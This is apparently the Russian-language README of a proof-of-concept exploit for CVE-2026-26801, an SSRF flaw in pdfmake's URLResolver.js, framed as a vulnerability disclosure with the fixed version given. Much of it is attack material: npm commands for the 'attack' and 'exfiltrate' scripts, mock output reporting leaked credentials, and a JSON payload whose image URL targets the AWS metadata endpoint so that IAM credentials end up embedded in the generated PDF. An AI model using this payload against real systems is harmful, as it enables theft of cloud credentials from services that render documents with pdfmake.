
PoC для CVE-2026-26801: SSRF в pdfmake URLResolver.js (>= 0.3.0-beta.2, <= 0.3.5)
| Поле | Значение |
|---|
| Пакет | pdfmake |
| Версия | >= 0.3.0-beta.2, <= 0.3.5 |
| Исправлено | 0.3.6 |
| CVE | CVE-2026-26801 |
| Тип | Подделка серверных запросов (SSRF) |
| Расположение | src/URLResolver.js |
| Серьёзность | ВЫСОКАЯ |
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
Когда docDefinition содержит URL-адреса в images, attachments или files, pdfmake загружает их без какой-либо проверки:
npm install
npm run metadata
npm run server
Слепой SSRF (доказывает, что сервер совершает исходящие запросы):
npm run attack
Полное чтение SSRF (учётные данные встроены в сгенерированный PDF):
npm run exfiltrate
npm run attack)Вывод сервера метаданных:
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
Это доказывает, что уязвимый сервер совершил исходящий запрос к нашему контролируемому конечному пункту.
npm run exfiltrate)Скрипт атаки генерирует exfiltrated.pdf. Откройте его в любом PDF-просмотрщике, и JSON с учётными данными AWS будет встроен как вложение файла (metadata.json). Это доказывает полную эксфильтрацию данных, а не только слепой SSRF. Атакующий получает фактическое тело ответа внутри PDF.
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
Полный технический отчёт с историей обнаружения, цепочкой атаки и графиком раскрытия: mariopepe.github.io/cve-2026-26801-pdfmake-ssrf